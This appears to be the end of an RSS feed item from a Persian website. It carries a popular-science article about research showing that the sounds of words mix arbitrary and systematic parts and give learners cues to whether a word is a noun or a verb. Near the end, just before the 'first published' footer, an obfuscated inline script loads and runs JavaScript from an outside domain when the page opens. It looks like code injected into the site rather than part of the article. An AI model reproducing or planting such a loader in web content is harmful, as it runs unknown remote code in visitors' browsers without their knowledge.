<p>پژوهشگران پس از آن اثبات کردند که واژه‌ها در فرانسه و انگلیسی، دارایِ میزانِ یکسانی از به هم آمیختگیِ قراردادی بودن و نظام‌مندی، در الگوهایِ صوتی هستند.</p>
<p>کریستیانسن گفت: «ما نشان داده‌ایم که صوتِ یک واژه، عمده‌ترین امتیازاتِ هر دو حیطه (قراردادی بودن و نظام‌مند بودن) را به نمایش می‌گذارد. با دارا بودنِ بخشِ قراردادی در ابتدایِ واژه، صدایِ کلمه، سریع‌تر منحصر به فرد می‌شود.</p>
<p>این مسئله به گویشوران کمک می‌کند تا سریع‌تر و آسان‌تر معنایِ دقیقِ کلمه رامشخص کنند، در همان حال که بخش‌هایِ انتهاییِ واژه، اطلاعاتی نظام‌مند را دربارهٔ نقشِ کلمه در جمله، با هم تلفیق می‌کنند.»</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5914" src="https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages-300x300.jpg" alt="Voices in Languages" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/Voices-in-Languages.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>صوتِ یک واژه، بیانگرِ کاربردِ احتمالیِ آن</h6>
<p>اگر صوتِ یک واژه، بیانگرِ کاربردِ احتمالیِ آن (مثلا به صورتِ اسم یا فعل) باشد، این مسئله استفاده از لغات را برایِ کودکانِ در حالِ فراگیریِ زبان، آسان‌تر می‌کند.</p>
<p>کریستیانسن گفت: «تحقیقِ پیشینِ ما نشان داد که در حقیقت میانِ اصواتِ اسم‌ها و فعل‌ها، تفاوت‌هایی وجود دارد، و انسان‌ها در حینِ آموختن یا استفاده از زبان، به این تفاوت‌ها حساس هستند.»</p>
<p>او شرح داد که این تفاوتِ صوتی میانِ اسم و فعل، بینِ زبان‌های انگلیسی، ژاپنی و فرانسوی مشترک است. وی همچنین گفت: «چنین تفاوت‌هایی بسیار ظریف هستند؛ شما در خودآگاه‌تان از وجودِ چنین تفاوت‌هایی آگاه نیستید، هرچند رفتارتان نشان می‌دهد که در واقع به آن‌ها حساس هستید.»</p>
<p>او ادامه داد: «هر زبانی مجموعه‌ای از راهنماهایِ صوتی دارد که به کودکان امکان می‌دهد تخمین‌هایی درونی در موردِ اسم یا فعل بودنِ هر واژهٔ نو بزنند. ما توانستیم در عمل نشان دهیم که کودکان می‌توانند در هنگامِ این تخمین‌هایِ درونی، از ویژگی‌هایِ آواییِ کلمات استفاده کنند.»</p>
<p>کریستیانسن گفت: «کودکانی که در حالِ فراگیریِ نخستین زبان‌شان هستند، از پیش، از این داده‌ها به عنوانِ یک منبعِ اطلاعاتیِ مهم استفاده می‌کنند، لذا نیازی نیست که معلمین بر آن تأکید کنند. اما برجسته کردنِ چنین اطلاعاتی برای زبانِ آموزانی که در حالِ یادگیریِ زبانِ دوم هستند می‌تواند مفید باشد.»</p>
<h6>منبع مقاله اصوات زبانی حاوی راهنماهایی برای زبان‌آموزان هستند</h6>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%d8%b5%d9%88%d8%a7%d8%aa-%d8%b2%d8%a8%d8%a7%d9%86%db%8c/">اصوات زبانی ، راهنماهای زبان‌آموزان</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a7%d8%b5%d9%88%d8%a7%d8%aa-%d8%b2%d8%a8%d8%a7%d9%86%db%8c/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>